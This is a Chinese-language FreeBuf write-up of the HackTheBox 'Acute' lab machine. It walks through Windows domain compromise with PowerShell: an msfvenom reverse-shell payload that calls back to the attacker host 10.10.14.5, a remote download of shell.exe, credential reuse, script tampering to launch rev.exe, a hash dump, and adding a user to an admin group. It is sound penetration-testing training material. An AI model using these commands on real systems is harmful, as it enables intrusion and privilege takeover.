freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HackTheBox之Acute靶机
2022-04-28 17:59:54
所属地 广东省

前言

这是一台纯Windows渗透的靶机,通过powershell的各种命令实现从一个低权限用户提权到一个高权限用户的过程。除此之外,这是一台很好的内网靶机,通过这台靶机可以学习到很多内网渗透的姿势。

解题思路

image

信息收集

对目标靶机进行扫描时发现只开放了443端口,很奇怪。但是我们发现了一个域名地址,我们可以尝试添加到hosts文件中进行访问
image.png

是一个非常正常的web页面

image.png

浏览about us页面时,发现很多人名,编辑将其保存为users.txt文件

image.png

image.png

在关于页面上下载一个doc文档查看是否存在有价值的信息

image.png

在查找信息时,发现存在一个默认密码和一个remote远程地址

image.png

image.png

新的链接地址是一个登录表单

image.png

可以通过前期整理的用户名和密码进行尝试,但是这里发现需要填写计算机名,可以使用exiftool工具找到计算机名

image.png

最后使用Edavies这个账户登录成功,登录成功后发现是一个powershell界面

image.png

漏洞利用

查看到计算机上除了Edavies这个用户外,还存在其他用户。这些用户可能都存在不用的权限,因此下一步要做的就是横向到这各个用户上去。

image.png

因此漏洞利用的思路就出来了,可以生成一个远控shell,投毒到当前靶机上接收它的shell终端

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe > shell.exe

image.png

要下载这个payload,就要用到powershell的远程下载命令了,同时MSF那边开启监听

Invoke-WebRequest "http://10.10.14.5/shell.exe" -OutFile "shell.exe"

image.png

接收到edavies的shell终端

image.png

提权

edavies提权imonks

使用screenshare命令查看靶机正在进行什么活动,命令执行它将其保存为html文件

image.png

发现目标主机正在执行如下的命令操作,从这些信息中可以获取到密码,用户的认证凭证等信息

image

image

得到这些信息后,只需要配合Invoke-Command命令并执行相同的操作,那么就可以获取到imonks用户的权限了

$passwd = ConvertTo-SecureString "w3_4R3_th3_f0rce" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("acute\imonks",$passwd)
Invoke-Command -computerName atsserver -ConfigurationName dc_manage -ScriptBlock {whoami} -credential $cred

image.png

有了用户密码和凭据,就可以对imonks用户的目录进行查看了

Invoke-Command -computerName atsserver -ConfigurationName dc_manage -ScriptBlock {ls /users} -credential $cred

image.png

imonks提权jmorgan

在imonks的桌面目录上,除了看见user.txt文件外,还存在一个powershell脚本,脚本内容如下

$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds

从上面的脚本内容上看,脚本首先是对密码进行加密处理,然后通过验证cred变量从而去执行Get-Volume这个命令。想要获取到jmorgan用户的权限,就得替换掉命令里的内容,并执行属于我们自己的载荷文件。

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock{((Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c c:\utils\rev.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1} -credential $cred
invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1} -credential $cred

image.png

jmorgan提权Administrator

得到jmorgan用户的权限后,可以查看该用户是否在管理员组中

image.png

很幸运,jmorgan用户是处于管理员组中,那么就可以对Administraor用户进行hash dump,解密出密码是Password@123

image.png

image.png

但是很可惜的是,当尝试使用这个密码去登录管理员的时候,是失败的。那么这里就要用到密码重用技术,类似于尝试使用同一个密码去登录不同的用户

image.png

$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\awallace", $passwd)
invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {whoami} -credential $cred

image.png

显示登录成功,接着可以查看这个用户对应的目录文件,可以看到里面存在一个keepmeon目录

image.png

里面存在一个bat脚本,这个脚本的作用是每5分钟运行一次

REM This is run every 5 minutes. For Lois use ONLY
@echo off
 for /R %%x in (*.bat) do (
 if not "%%x" == "%~0" call "%%x"
)

image.png

那么思路就是,只要把这个脚本加到计划任务上。等待5分钟后执行这个脚本,并awallace用户添加到site_admin管理员组上

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\admin.bat' -Value 'net group site_admin awallace /add /domain'}
invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {net group site_admin} -credential $cred

image.png

最后可以查看到Administrator账户里的目录文件信息了

image.png

# 渗透测试 # powershell # HackTheBox
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录